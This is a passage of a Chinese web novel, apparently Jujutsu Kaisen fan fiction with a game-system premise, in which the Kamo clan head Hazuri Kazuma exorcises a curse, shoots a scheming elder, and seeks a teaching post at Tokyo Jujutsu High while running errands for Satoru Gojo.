羽取一真从物品栏里取出[血寄斗枪],握在掌中——这两把左轮手枪的外形类似于柯丨尔丨特蟒蛇型号,烤蓝的表面呈现出一种特别的淡紫光泽,握把极为贴合手掌,转动丝滑流畅的左轮内却不必填充子弹。 在他每次扣下扳机之时,极致压缩后的血弹便如同急射而出的流星,手枪带来的动能加持使它的攻击几乎不能被肉眼观测到,转瞬间便没入目标的体内,自内向外炸开一个创口极大的窟窿。 羽取一真很满意这把武器的威力。 当他走在诊室的过道里时,被[疱疮祸根]吸引来的低阶咒灵几乎是一枪就消灭一只,根本扛不住手枪加赤血操术带来的恐怖破坏。 空气中仍然传来着无言的嗡鸣,羽取一真环视周围——斑驳脱落的墙壁、大面积的不规则污渍,从破碎窗户里探出的脑袋。 羽取一真没什么表情的举枪,扣动扳机,垂下手,一连串动作行云流水。 砰! 那只正发出呓语的咒灵应声倒地,长着眼睛与嘴的位置爆开大片碎块,又逐渐消散。 在这栋医院里,低阶的咒灵并不生成【结晶】,而根据加茂乃吉的供述,他需要去负一楼的停尸房内找到[疱疮祸根]。 他在现实里根本没碰过枪,但只要选定术式攻击目标,游戏会辅助他锁头,绝不落空。 电梯早就失去功能,羽取一真找到安全通道,从楼梯下到这栋医院的更深处。 完全没有窗户的无光环境只能让他收起其中一支手枪,改为拿着手机照明。 空气里传来的隐约嗡鸣声,变得更明显了。 越接近停尸房,羽取一真的每步都走得越稳。 低阶咒灵也在此处销声匿迹,一切都好似落入了深海之下,平缓如常,唯有涌动的暗潮在酝酿。 “————” 瞬间炸开的呓语如同高声嘶鸣,羽取一真再抬眼时,脚下的风景已换了模样! 视野内无边际的石制墓碑取代了破败的医院,那只长着苍白毛发与脓疮的恶心咒灵浮现在羽取一真眼前。 它将双手展开,中指内扣——羽取一真的视野立即转为漆黑,压下的墓石轰然砸在困住他的棺材之上。 奇怪的攻击方式,羽取一真迅速朝上方开了两枪,发现打出的血弹并不能击溃巨石,便反应极快地收起枪与手机,转为连续的—— [黑闪]! 无数道漆黑闪电如同席卷漫天的浪涌,在游戏的辅助控制下,羽取一真能让自己挥拳打出的每一次都是一发2.5次方威力的恐怖暴击。 墓石扛不住几次[黑闪]便轰然碎裂,木制的棺材更是被轻而易举地一触即溃,木屑与细碎石块的漫天溅落间,羽取一真目光迅速梭巡、锁定那只咒灵,抬起的掌中已然出现[血寄斗枪]。 砰!砰!砰!砰! 毫不迟疑地四次开枪,那只没有下半身、宛若幽魂般的咒灵随之爆出四道巨大的创裂伤口,在墓碑环境的骤然溃散中,同样随之倒地。 当手里的武器被收起,羽取一真再张开手时,掌心已躺着一枚漆黑至极的晶体,内里好似有隐隐的漩涡在兀自涌动、凝聚、又消散。 【伪·特级咒力结晶:人造产物。】 除此之外,再也没有任何说明。 羽取一真不太确定点了点弹窗,发现它直接关闭了。 不太像正常掉落的结晶,先收起来,回头拜托悟帮忙看看怎么回事。 ………… 医院门口,[帐]之外。 在加茂长吉他们逐渐惊慌的注视中,漆黑的帷幕被拉起,一道几乎要令他们胆寒的高挑身影自内向外,缓步踏出。 “诸位好啊,” 黑发黑瞳的加茂家主微微侧过视线,望向他们时显露出一种暴君莅临般的冷酷姿态,措辞吐字间却又显得彬彬有礼——反而令他们感到某种更深刻的畏惧与忌惮。 “我回来了。” 17、第 17 章 “你竟然……” 加茂长吉刚要说话,便被羽取一真抬手止住。 “趁此机会,就让我们把话说得更直白一些。” 当他开口时,没有人敢再出声——好似直到此刻,他们才恍然认知到这位不知从何而来的黑发青年已经是他们的家主,且不容任何置喙。 “我留着你们,是因为觉得你们还有用。”比如赚金币。 羽取一真淡淡开口,“而不是让各位产生一种错觉,给我做事还有可以商量的余地。” 区区npc老头,竟敢一天到晚想着造他的反。 如果他没有跟着悟组队刷等级,岂不是要面临四级打伪·特级?当他在玩魂类游戏? 【当前委托:加茂乃吉的试探,已完成。】 【奖励:提升加茂家的支配程度。】 【获得加茂家至少百分之八十的支配程度:78%/80%。】 ……78%?羽取一真抬眼,目光缓慢的,自这些人身上逐一扫视过去。 众人被他盯得纷纷垂头,不敢与他直视。 眼前这些人,是最初就被他请客五十多顿的加茂核心成员,同样构成了能掌控整个加茂宗家的势力团体。 收服他们,原则上等于支配了整个加茂家。 按照羽取一真之前的规划,这个时间的他们应当还在种地赚钱,但被他中止工作,强行都叫了过来。 原因很简单。 既然加茂长吉敢用所谓的一级咒物来试探他,那他也不吝啬于在众人面前展现他的能力。 譬如说…… 还有这2%的支配程度,到底该如何提升? “[疱疮祸根],连同它产生的疱疮婆,都被我祓除了。”羽取一真继续道。 “但要说祸根,我还发现一个。” “还有一个?”加茂乃吉下意识惊疑道,“在医院里?!” “不,在我眼前。” 羽取一真抬手,那把被和服袖袍挡住视线的蟒蛇柯丨尔丨特左轮手枪露出在众人的视野之内,被食指扣上扳机,仿若一条真正瞄准敌人的毒蛇般,墨绿色的竖瞳冷酷盯紧猎物,蛇口缓慢张开。 在那线条流畅华丽的重工造型之下,连流淌在金属枪身上的暗色光泽,也透出一股残忍的、野蛮的冰冷。 这是唯有狩猎才会彻底展露出的,最为原始的极致暴力。 “你、不,家主,我……” 被那把黑洞洞的枪口指着,加茂长吉的声音都变得颤抖——并非苍老,而是彻底的恐惧。 “我说啊,试探这种行为,不就等于[你死我亡]的挑衅吗。” 羽取一真神情冷漠,眼也不眨地扣下扳机。 砰! 试图用自身咒力增强身体素质、抵消子弹攻击的方式失败,根本没想到这一击同样是术式的加茂长吉瞪着那双浑浊的眼睛,往后仰倒在人群散开的地上。 从一开始就不服管教,现在还想带人造反的npc手下,与其费劲心思的做一堆委托和任务去收服他,不如直接干掉。 众人哗然之下,羽取一真眼中却浮现出游戏弹窗。 【获得加茂家至少百分之八十的支配程度:81%/80%。】 【奖励:咒术总监部模块开放,可通过各种方式晋升。】 【目前职位:无。】 看,这不就很完美的达成任务目标了吗? 羽取一真唇角微动,不擅长通过面部传递情绪波动的他,此刻的愉快神色,更接近一种令在场所有人都毛骨悚然的似笑非笑。 他果然什么都知道……连加茂长吉连同外人,在背地里偷偷对[疱疮祸根]动手脚这件事,也全部都察觉到了! 而联系到这位黑发青年在获得加茂家主之位的当天,就跑去找五条悟联姻、且在之后跟着对方前往山行县数日的这个行动,早就向所有人都透出一个明确的讯号。 这位新上任的加茂家主,与反对现有咒术界秩序、打算进行改革的五条悟是一边的。 且他与五条悟不同,会毫不犹豫的对他们动手——物理意义上的。 反抗最厉害的加茂长吉,此刻已经死掉了。 现在,这个能祓除特级咒灵的家主同样在不动声色的威胁着他们,终于展露出真正冷酷的獠牙。 既然不肯听他的话,那就来听枪的话吧。 他竟然半点也不怕自己被定义为诅咒师,遭到整个咒术界的追捕与讨伐吗!? 在极度死寂之下,加茂乃吉忽然上前半步,朝羽取一真垂手鞠躬。 “真是遗憾,” 他的眼角余光半分也没有落在那具倒下的亡躯身上。 “兄长在协助家主对抗[疱疮祸根]的途中,竟然不幸遭到咒灵袭击,就此殒命了。” 只这一句话,加茂长吉的死亡便从[谋杀],变为了[事故]。 至于被咒灵杀死的咒术师,对他们而言实在太过稀松平常,根本不值得调查。 “既然如此,就好好安葬他吧。” 羽取一真收回手枪,对加茂乃吉的上道表示认可。 “恕老夫直言,”加茂乃吉这时却不放心道,“对于咒术师而言,为了防止对方死后化身为诅咒,必须用咒术将其杀死才行。您的枪……” 血弹的速度太快,而久未战斗、又早已年迈的他甚至没能察觉到其中蕴藏的咒力,加茂长吉便瞬间遭到击杀。 “不必担心,他是被我的术式杀死的。” 羽取一真瞥了他一眼,朝那辆专为家主准备的轿车走去。 其余人皆分列为两排,垂手低头,为支配着他们的家主让开道路。 碾压的力量与果决的手段,果然是能很好震慑他们的工具。 那道身穿和服的身影在众人的视野里逐渐远去,连随步伐而微微晃动的黑发与衣角,都好似已化作冷酷与深不可测的代名词。 而他们,也与来时的心境截然不同了。 只要一想到地上还躺着那位往日呼风唤雨的长吉大人,就没人敢再对羽取一真的家主之位提出异议。 过了许久,才有人小心开口。 “长吉大人交代要保持联络的那位……该怎么办?” 他很委婉的将[传递情报]说成了[保持联络]。 “……这次就照实说吧。” 加茂乃吉开口,声音平稳,“包括我等被迫转变的立场。” 即使他们反对五条悟的主张,五条悟也不会杀掉他们,甚至还会给予一定的尊敬,安排给他的高难任务也会乖乖完成。 但这位加茂家主不同,他显然早就被加茂长吉之前三番四次的反对搞得不耐烦了,在这次试探后干脆直接动手。 “希望他能看懂暗示。” 加茂乃吉吐出一口气。 比起五条悟……这家伙更危险。 ………… “哼……在短时间内就被祓除了啊,还挺能干的。” 身穿袈裟、额头缝线仍未愈合的黑发青年支着脑袋,迅速浏览完手里的信件。 与加茂那边预计的不同,刻意安排出这个试炼场的他,自然也有办法获取战斗的详细情报。 “使出的小手段似乎也被发现了,那枚结晶没被他吞掉呢。” 他叹息着,颇为遗憾的自言自语道。 “明明感觉我捏得还挺像那么回事的。果然没有亲眼看见过,还是差了点意思。” 这句话一出,意味着他甚至连五条悟与羽取一真在山行县发生的事情都非常清楚。 “不过嘛,倒也不是完全没收获。” 那张信件被他放下,身后泼墨似的空间裂隙之中,缓慢浮现出另一只淌着血泪的眼瞳。 “比起一心扑在教学与任务上的五条悟,尝试夺取我这边的势力可是不被允许的哦,这位加茂的新任家主。” 杀死总监部核心高层之一的加茂长吉,搅乱他的布局,这种糟糕的消息可不想再听见第二次啊。 “让我想想,嗯,接下来应该这么做……” ………… “东京高专找我?” 听到汇报的羽取一真有点惊讶,“什么事?” “还是因为[疱疮祸根]失控的事情。” 加茂乃吉恭敬道。 “原本,在咒术师祓除掉吞食咒物的咒灵之后,就能够回收咒物,重新封印并放置在需要镇压的地方。” “但据您所言,祓除掉那只咒灵的您并未得到被吞食的咒物[疱疮祸根],也就意味着那栋医院缺失了镇压物,是无论如何都需要上报的。” “不过,这件事在我交上去的报告里,写明是由于封印年久才导致的咒物失控——这样一来,加茂家也不会被追究责任。” “但高专那边还是需要过去一趟的,再加上您毕竟成为了拥有御三家势力之一的加茂新家主,也需要去总监部那边打个照面。” 加茂乃吉越说到后面越小心翼翼,“长吉兄长怎么说也是总监部的人,突然身亡这点,有些……” 后面的话没有再说下去,已经领悟对方言下之意的羽取一真陷入沉吟。 “这样啊。” 他记得伏黑惠说过,悟当教师的那所学校,就是东京高专来着。 正好离春季开学还有点时间,他就过去一趟,应聘高专教师试试……? 还有关于总监部的构成,他也需要了解。 加茂乃吉静立了片刻,听见羽取一真出声应道。 “那就过去一趟吧。” 18、第 18 章 在准备动身去东京的咒术高专之前,羽取一真还有点事情要做。 自从对加茂家的支配度到达80%以上后,加茂家的成员名单都对他开放了,可以明确看到每个人在加茂家中所承担的职责。 而羽取一真此刻正坐在东松殿的主位上,等着加茂乃吉把他指定的人员都召集起来。 虽说他也可以直接从界面里安排他们去干活,但想了想加茂长吉那个格外有自己想法的npc老头,羽取一真决定还是先给这帮npc知会一声,打个预警,做好心理准备。 那些被叫过来的人都略带惶恐,心底忐忑,完全想不明白为什么家主要找他们。 再加上长吉大人的那件事……该不会,他们也要被清算吧!? 越想越害怕,有些心理压力扛不住的已经走到脚软,几乎是汗流浃背地跨进了东松殿的大门,找位置站好。 “长话短说,” 见人到齐,羽取一真的开场白简明扼要,压根不跟他们做任何客套。 “我认为,各位眼下的工作量完全没有饱和。” 加茂乃吉闻言一愣,下意识对羽取一真解释道:“他们都有被安排事务……” “那点事情也叫工作吗。” 羽取一真撑着扶手,身体微倾时,向他们发出冷淡的质问。 “我与五条家主在一起数天,对他的作息十分了解——你们是否有像他那样,每日工作都超过16个小时呢?” 在这间大殿里的所有人垂着脑袋,没有敢出声应[是]。 如果说之前还有加茂长吉敢拍筷子冲羽取一真吹鼻子瞪眼,现在……谁敢再用手指着他,他就敢用枪指着你。 谁还能有胆子再吭一声? 而且听这个暴君的意思,他好像打算延长他们的工作时间啊! “我觉得,既然五条家主以身作则,” 羽取一真的目光逡巡,只能见到他们低下头,朝他露出的一个个发顶。 “你们也要向他看齐。” “从现在开始,五条家主每天工作多少个小时,你们也要工作多少个小时。” 羽取一真的话语不容置喙,在大惊失色的众人之中炸响一颗重雷。 跟谁比工作时间?五条悟??那个非人的作息他们也算是有所耳闻……但换成他们怎么可能扛得住啊! 加茂乃吉扛着压力向他解释:“恕老夫直言,这个,安排给五条悟的任务,有很多是非他不可……” “非他不可?我看他接到的很多任务都是一级咒术师也可以胜任的嘛,加茂家的一级咒术师不是有好几位吗?” 羽取一真的黑瞳微动,将视线的焦点落在加茂乃吉身上时,后者明显喉咙一紧,剩下那截话也不敢再说出口了。 “怎么都就只需要做点清闲的工作,每个月还能拿高昂的补贴?然后聚众笑话五条家主在外面到处接任务,累死累活还要不停地用反转术式治疗大脑,是吗?” 所有人都赶紧摇头,表示自己绝对没有这个想法! “其实有许多重要任务,一级咒术师也、咳,也感到十分棘手,”在满场寂静之中,背负众人期望的加茂乃吉不得已再次出声,“这类都是没办法才……” “一级咒术师出任务危险,特级就不危险?”羽取一真的声音冷了下去,“那你们这么多年怎么不努努力,多祓除些咒灵,争取晋升特级咒术师?是坐在家里喝茶吃饭就能晋升了?” 竟然拿五条悟那个怪物和他们比,不讲理,这个人好不讲理! 所有人的大脑都在疯狂尖叫。 但整座东松殿内,依旧保持着令人绝望的安静——当乃吉长老的话都被连着两次堵回来,没人想再做出头鸟。 “很好,既然没人有异议,我们就按每天工作16小时的这个规定执行。当然,我也不会让你们去送死,除去能接高难度任务的一级与特别一级术师以外,种地、研究、建造和贸易,你们可以自己挑一项。” 羽取一真环顾四周,“你们要么去想办法降低五条家主的工作量,要么就得跟他同甘共苦。” 想造反是吧,任务总压在悟一个人身上是吧,那就让这帮npc全天候给他干活去,省得再生出点多余的精力,背地里偷偷摸摸搞小动作。 众人:“…………” 真的吗?他们以后每天都要干16个小时的活?! “家主,你不能…!” 在巨大的噩耗下,终于有个人站出来,正要梗着脖子抗议—— 啪。 羽取一真慢条斯理地将手中那把[血寄斗枪]往案几上一拍,再抬眼看向那人。 “你不能小瞧我们,不就是降低五条悟的工作量,我们可以把准一级咒术师也安排上,咱们联合作战!人多力量大,战斗经验涨得也快!” 他斩钉截铁的这么接着说道,好似完全忘记一秒前的他还是根打算反抗暴君统治的硬骨头。 突然觉得,每天干16个小时的活也不是不能接受。 众人:“…………” 洋平你这个叛徒啊啊啊这么快就变了口风! “很好。” 羽取一真点头,望着这帮再无异议的npc。 果然,真理只在射程之内。 ………… 在解决完加茂家的最后一件要紧事务后,羽取一真便安排加茂乃吉回应东京咒术高专那边的邀请,同时动身出发。 这所对外伪装成私立宗教系的东京都立咒术高等专门学校,整体建筑风格十分杂糅,既有象征佛教的五重塔,也有代表本土教派的神社与鸟居,在道路与两侧树干间还连绵着成片的注连绳与石灯笼,沉淀出一种悠久而神秘的厚重感。 至于接待羽取一真的正殿,则是皆以烛火照明。 当他自午后明亮的殿外跨步踏入时,视野骤然昏暗下去,唯有正中央的路被这道暖光指引着,通往坐在最内侧的男性身上。 “很准时。” 见到独自进入这所正殿的羽取一真,他开口夸赞,并主动做出自我介绍。 “我是夜蛾正道,这所高专的校长。” “我是加茂家主。”羽取一真点头,也礼貌应道。 “……”夜蛾正道愣了下,“这名字是真的?” “假的。”羽取一真十分诚实,“但我觉得,您还是把它当成我的名字就好,不要多问。” 喊玩家昵称的代价,这位校长承受不起。 夜蛾正道:“…………” 明明是会见这位加茂的家主,但总感觉见到了气场冷酷版本的五条悟……是他的错觉吗。 “你愿意就[疱疮祸根]一事前来面谈,感激不尽。” 夜蛾正道决定忽视这点内心的不祥预感,尽量客观且公事公办的走完流程。 “听说加茂长吉长老也不幸在这场咒物失控事故中身亡,我深感抱歉。” “但不管怎么说,报告的描述实在太过简略,希望你能帮忙尽可能的还原搜索及战斗过程,我们需要评估该类事件是否会再度发生的可能性。” “好。”羽取一真微微点头。 作为跟五条悟组队狠刷了一大波怪升级的他而言,想要准确复述出祓除咒灵的过程并不困难;但要跟夜蛾正道解释清楚为什么祓除咒灵会掉咒力结晶,反而是件麻烦的事情。 “祓除咒灵竟然会掉落增长咒力量的结晶,此前从未听过有类似的术式。” 夜蛾正道双手支在身前,凝重思索着,“而且,咒物竟然也会跟着消失不见……” “大概也跟着一道变成咒力结晶了。” 羽取一真想了想,借着衣袖的遮掩,从物品栏里拿出那枚【伪·特级咒力结晶】——这也是他唯一剩下的,其余全拿去吸收升级用了。 “就是这个。你能不能看出有什么奇怪的地方?” 夜蛾正道接过那枚结晶,认真感知了半晌,才放弃般摇头,将它还给羽取一真。 “很纯粹且浓郁的负向能量,也就是咒力。除此之外没什么特别的。”——他接着问道,“只有你能吸收这种咒灵产物?” “嗯,”羽取一真把它收回物品栏,“无论是恢复咒力量,还是增加咒力量上限,都很有帮助。” “很不错的术式,对持久战非常有帮助。” 夜蛾正道微微颔首,“那么会谈到此结束了,感谢你的帮助。听起来,这确实是一起普通的咒物失控事故,且那样咒物已被你的术式转换成了结晶。” 他说完这句好似定音锤般的话后,忽然坐直了身体;隔绝眼神交流的墨镜让他的情绪流露并不明显,但整个姿态变得十分端正且严肃。 再开口时,声音也压低许多。 “接下来的谈话,我不会透露给第三人。” 他对羽取一真说道,“如你所见,高专不仅是教育机关,同时负责任务分派、术师支援、诅咒监测等等,是关于整个咒术界存续的重心要地。” “而我还远没到老眼昏花的年纪,得健忘症更是无稽之谈。” 夜蛾正道点点自己的太阳穴,目光紧盯羽取一真,逐字逐句地告诫道。 “[疱疮祸根],不,是那栋废弃医院的镇压物资料被篡改了。有人在针对你,加茂的家主。” 毕竟是少有能与五条悟走得近的人,夜蛾正道也不希望眼睁睁看见他的支持者丧命于高层的阴谋之下。 这也是他为什么找借口特意把人叫来咒术高专,进行当面会谈的原因。 夜蛾正道望着眼前这位身姿挺拔、气质淡漠的高挑青年,微微叹息道。 “我想你也是为了确认这点,才决定应邀前来东京的吧。” 短暂的安静片刻过后。 “那倒不是,” ——他听到这位加茂家主开口,声音沉稳有力。 “我,是来向您自荐成为高专教师的。” “………”夜蛾正道扶了下墨镜。 “嗯??” 19、第 19 章 “你?想来我们学校当教师?” 夜蛾正道又复述一遍——他甚至用手捻着眼镜腿,将它拿下来了点,好能凭借肉眼更仔细的端详眼前这位不按常理出牌的加茂家主。 五条悟那小子明明是御三家之一的五条家主,却要跑来高专辛苦当老师、只为实现自己理想这点,他就已经够惊讶了。 现在又要来塞一个御三家之一的加茂家主进来? 话说这么想当老师,去保守派大本营的京都高专那边不是更近吗……来他这里反而会被上层忌惮吧。 不过,之前他看伊地知针对山行县[鼠咒灵]祓除工作的汇报,这位家主和悟在那段时间里走得相当近啊,搞不好是支持改革一派的。 夜蛾正道边不时抬眼看羽取一真,边陷入思索。 “有什么聘用条件吗?” 羽取一真就坦然站在原地,任他打量。 夜蛾正道戴回眼镜,“嗯,姑且最少需要具备一级咒术师的实力……” “有。” 羽取一真打开弹窗,确认自己的战斗等级已经达到了要求。 【咒力(一级):一切技能使用的基础。可通过各种方式来提高咒力上限,获得更持续的作战时间。】 【黑闪(二级):威力为普通攻击的2.5次方。使用时将消耗大量咒力。】 【赤血操术(核心)(一级):您将拥有操纵自身血液进行战斗的能力。可通过不断战斗来提高熟练度,解锁更多相关技能。】 【目前装备:[血寄斗枪]。】 【目前默认使用技能:<赤血操术·那落迦>,自动将鲜血压缩成弹丸并进行装填,击中目标时会产生小范围的剧烈爆炸伤害。】 羽取一真只大略扫了眼便关掉窗口。 之前空手使用赤血操术时,他也通过熟练度解锁了几个技能;但要论杀伤力和攻击距离,还是装备[血寄斗枪]后得到的技能更趁手。 不愧是跟着大佬组队打完任务后得到的真理之枪,一亮出来,谁敢不服。 “确实,你在战斗上的实力是毋庸置疑的,我不否认这点。” 想起眼前这位青年是能独自祓除一级失控咒物的术师,夜蛾正道缓慢颔首,相当委婉的将目前高专现状说给他听。 “但是……能进入高专学习咒术的有才能者其实是相当稀少的,例如今年即将入学的一年级,更是只有两位新生。” 言下之意是他这所高专真的用不到太多教师,即使再添一位加茂家主,也有点不知道该把他放到哪里才好。 “是吗,那我当学生也行。” 羽取一真从善如流道,“正好就入职…不,就读一年级。” 夜蛾正道:“…………” 慢着,这小子听起来完全不像是抱着[育人成才]的理念来应聘高专教师的啊! 直至此刻,夜蛾正道才突然发现……这位加茂家主想要进入东京高专的初衷,似乎一点也不单纯。 要说是总监部那边安排来的卧底,这举动也未免太过明显…… 可如果决定录用对方,是否又会使咒术高专也连带遭到那份尚且未知的针对…… 夜蛾正道的大脑正在飞速运转,权衡利弊。 而羽取一真边等这位校长给出回应,边打开弹窗,发现任务和委托界面都没有触发出新内容。 也就是说,这位校长更偏向拒绝他的诉求。 羽取一真又耐心等了会,才听见夜蛾正道重新开口问他。 “我能知道你想应聘这所学校的真实目的吗?” 这个问题其实很好回答,羽取一真沉吟片刻,实话实说,“为了成功和五条家联姻。” 夜蛾正道愣了下,“成功和五条家联姻?那为什么来高专?” 羽取一真:“因为联姻对象是悟。” 夜蛾正道:“……哈?谁要和他联姻??” 羽取一真:“我。” 夜蛾正道:“…………” 堂堂东京高专的校长,一级咒术师夜蛾正道,在得知答案的瞬间竟然咒力失控——那副戴在脸上的墨镜随之裂出了数道清脆声响,为【震惊】这个词语做出了格外生动形象的具现化展示。 现在,他终于知道当他见到这位加茂家主的时候,心底那份不祥的预感到底是从何而来了。 这小子的脑回路,比悟那家伙的还要不同寻常! 在这间烛火摇曳的大殿内,空气都跟着沉寂许久,直到夜蛾正道默默拿下那副已经不能继续使用的墨镜。 “悟……知道你想和他联姻吗?” 他十分艰难地出声问道。 “嗯,他答应了一半。”丨羽取一真颔首。 夜蛾正道:“………” 什么叫答应了一半?联姻还能答应一半? 这个问题令夜蛾正道感到困惑——但从另一方面考虑,他觉得为了自己的血压与心脏着想,还是不要再继续深究下去了。 换个方向思考,既然这位青年是加茂家的现任家主,那么他要是成为东京高专的教师,也算是间接替五条悟拉拢到来自加茂家的支持。 至于联姻……他是校长又不是媒婆,管不着这个。 “非要说的话,也不是完全不能录用你,毕竟这所学校的教师也会兼顾出任务的需求,你可以作为替补。” 夜蛾正道颇感心累的用大拇指揉了揉眉心,对羽取一真说道,“但我顾虑的并非是这点,而是高层那边。” “我想你也清楚,虽然总监部被悟那小子认为是蠢货集中营,但无论如何,他们如今仍然掌握着调度整个咒术界资源的权力。” “任命你成为高专教师,必须要经过他们同意才行。” 当夜蛾正道的这句话落下之时,委托弹窗终于出现在羽取一真的面前。 【当前触发委托: 夜蛾正道的顾虑:请在规定时间内,获得总监部至少半数以上的支持率。 总监部的支持率:6%/50%。 奖励:开放[东京高专教师]职位。】 “好。” 终于出现了委托,羽取一真眼也不眨地答应下来。 “我正好有事要去找他们。” ………… 与夜蛾正道的会谈结束,羽取一真跨出正殿的大门时,正好接到来自五条悟的来电。 “听说夜蛾校长找你过去?肯定只是走个过场而已啦,你不理会也完全ok哦!” 在通话里,五条悟的声音有些模糊不清,似乎身处信号不太好的地方。 也不知道他是从哪里得来的情报,明明人没在东京,却能一口说出羽取一真眼下可以称作是[被传唤]的境况。 “我已经见过他了,” 加茂乃吉在门口等他,羽取一真便往旁边走了些,示意对方不要跟来。 “是一个很好说话的大叔,我说要来应聘教师,他也答应了。” 听到这句话,电话那头的五条悟罕见安静了几秒。 “………” 这位加茂家主能通过吞结晶,反常理的从四级坐火箭升到一级也就算了。 但是,当教师欸?明明是半个月前还对咒术基础知识完全不懂的笨蛋? 他敢保证,夜蛾校长绝对不清楚这点——毕竟在所有术师的常识里,能成为一级咒术师的人已经属于除特级外的顶尖了,怎么可能会不精通咒术知识呢。 而眼下,教导他咒术常识的伏黑惠,即将成为他的学生……突然感觉有点好笑。 “虽然我不介意你成为我的同僚,” 于是,羽取一真清楚听见五条悟从通话那端漏出了点愉悦的笑意。 “但要当心高层那帮老头哦,他们可是很古板的,未必会同意你这么做呢。” 【赤血操术】、【无下限术式】与【六眼】,【以及十种影法术】……要是御三家的祖传术式都集中在东京高专,他们还不知道会紧张成什么样。 更别提,这位加茂家主立场鲜明的站在他这边。 出差中的五条悟将手机往耳边又贴近了些,原本烦闷的心情忽然变得很好——即使,这样的转变只是因为给对方打了一通电话而已。 “嗯,夜蛾校长也说任命新老师需要他们过半数同意,”羽取一真应道,“我等会就要去总监部那边,争取得到任命许可。” 至于他到底是用什么来进行争取,那就不好说了。 “也就是说,你现在还没有过去?” 五条悟想了想,再开口时的尾音上扬,带出点狡黠的恶劣笑意。 “那你先在东京随便逛一下,等我结束掉这边的任务就尽快赶回来——陪你一起去哦。” “好。” 一听他马上又能见到漂亮大悟,羽取一真的心情也立刻变得十分愉快,“你终于有空了吗?” “说到这个,” 边通着电话边拉下眼罩,轻描淡写间将那只一级咒灵祓除掉的五条悟眨了眨眼,站在被一发[赫]犁出的宽敞深坑前。 “我也不清楚什么原因啦,刚才接到伊地知打来的电话,说是原本后面两个要分派给我的任务,突然找到能接手的咒术师了。” 也就意味着他今天的任务到此就结束,再加上坐车赶路的时间……大概能在吃晚饭前到东京吧? “这可真是个好消息。” 羽取一真若无其事道,假装不知道这些“突然能接手”的咒术师是从哪里来的。 “我记得你说过东京有特别美味的蛋糕,正好可以告诉我店名,”——他转移话题,“我带着它等你回来。” 现在是下午,哪怕需要他穿过整个东京去购买,也完全来得及。 类似于……反向伴手礼? “真的吗?” 总有数不尽的任务压在肩上,以至于很少能赶在闭店前买到限定蛋糕的五条悟顿时开心得不行,就像一只白绒大猫高高翘起了它的尾巴尖。 “好耶!” 20、第 20 章 “東町3-8-8……啊,就是这里。” 羽取一真按照五条悟发来的地址,先是坐车到东京都的武藏野站,又循着東町的街道逐步数过,直至在眼前这家排着长队的甜品店前站定。 通过代替墙壁的大面积落地玻璃窗,羽取一真能轻松看见店内的装修——浪漫的法式风格,整体以极有质感的铂金与瓷白构成,偏暖的日光灯将整间店铺照得极为亮堂,也让橱窗里的各色甜点呈现出一种高级的精致感。 可以说是一看就不便宜,不愧是五条悟看中的店。 但即使如此,顾客依旧从店内排到店外,一直延伸到拐角的盆栽处,以极为缓慢的速度向前挪动。 羽取一真上前两步,加入这条长龙时,前面的小姐姐没忍住回头看了他好几眼,还偷偷拱了拱自己的朋友一起围观。 不仅是因为那身好似要出席宴会的高级和服,还有那极为俊秀的样貌与强大的冷淡气场。 怎么看都不像是会站在这家店门口排队的类型……反差超大。 对于npc的打量,羽取一真是全然不在意的——除非他们头上顶着问号或感叹号的任务提醒,否则在他眼里,这些人基本等于场景摆件。 过了片刻,前方传来轻微的骚动,细碎的交谈声一路传到他的耳朵里。 “呜哇,今天没有[神之甜品]卖吗?” “川村大师的心情不好?” “我还以为闭店前至少会见到他一次呢……” “好像和心情没关系,听店员说是出了什么事情。” “啊,难道是出了什么意外吗,不要啊……” [神之甜品]……虽然这个起名在他看来实在是有点中二了,但羽取一真拿起手机、按亮屏幕时,那行邮件的内容再清楚不过的写着—— 『東町3-8-8的甜点店[如你所愿],我要吃这家的[神之甜品]!一定要是川村大师亲手做的喔!拜托你了!』 在这封邮件的最底部,五条悟还用符号简单勾勒出一个超期待的颜文字表情。 不仅超期待,在羽取一真看来,还超可爱。 要是换成他的好友御子柴来,可能会忍不住大声吐槽他“明明这是个二十多岁的大男人在卖萌喂!身高还一米九喂!你的白毛控滤镜已经厚到看不清现实了吗!?”。 但羽取一真就是觉得可爱,就是这样的不讲道理、无视逻辑。 话说御子柴自己不也总是打那些和美少女谈恋爱的游戏,还偷偷摸摸的收集美少女手办,生怕被别人发现他是个御宅。 收起手机的羽取一真离开队伍,直接往橱窗走去,打算找店员问问那位能做[神之甜品]的川村大师到底出了什么意外。 无论[神之甜品]这个名字到底有多中二,这可是漂亮大悟点名喜欢的好感度礼物! 相比五条悟邮件里的活泼口吻,羽取一真的回信简明扼要—— 『好』。 但谁能说五条悟收到这封邮件的时候不开心呢?至少负责开车送他回东京的伊地知洁高不行。 “五条先生今天好像特别高兴……” 从后视镜里瞥见正对着手机发出轻笑的五条悟,伊地知洁高诚实的将自己内心想法说出口。 “嗯?我每天都很高兴啊。” 五条悟抬起头时还歪了点脑袋,手肘支在交叠起的双腿上,掌心顺势托着下巴,话语里裹挟着笑眯眯的威胁。 “你来试着说出我哪天不高兴呗,伊地知?” “…………” 开着车的伊地知洁高立刻将视线击中在前方的车道上,假装没有听见这句话。 好不讲理,明明两天前看到那堆派给他的出差任务时,还很大声的抱怨了自己都没空钓鱼来着……! “还有三个小时就能回到东京了,”伊地知洁高立刻转移话题,“要去高专吗?还是公寓?” 作为五条家主的五条悟,名下财产自然不计其数。 除去五条家所在的大本营京都外,在寸土寸金的东京也有数套私人公寓,只是他平时有大量的执教、任务、会议及文书相关工作,忙到根本没什么机会住回自己的公寓里,基本都是出差当地的酒店或者高专宿舍。 在最忙碌的时间里,五条悟更是习惯了彻夜不眠,或在飞驰的车上简单打个盹,就勉强算是休息过了。 像今天这样能够提早收工回去的情况,是相当稀少的。 “不哦,送我去这里。” 五条悟报了个地址,是他和羽取一真约好的碰头地点。 好不容易转移话题成功的伊地知洁高没多再问,方向盘微转,踩下油门,这辆黑色的轿车便加速驶上国道,朝东京方向疾驰而去。 ………… 羽取一真越过队伍,来到柜台前时,其中一位店员很不好意思的给他鞠躬。 “抱歉,这位客人,您是来购买店内商品的吗?需要排队才可以……” 如果直接问店员关于川村大师的事情,他们肯定不会向陌生人透露,敷衍他是必然的结果。 羽取一真略作思考,张口就开始一本正经的胡说八道。 “我是代表角川出版社前来的。基于川村大师在甜品创作上的杰出成就,我们之前与大师定好从今日开始会进行几次深度采访,直至成功编纂并发行他的自传。” 进游戏时默认穿着的这套昂贵和服,再搭配上通身冷淡而沉稳的气场,让羽取一真的话语变得非常具有说服力。 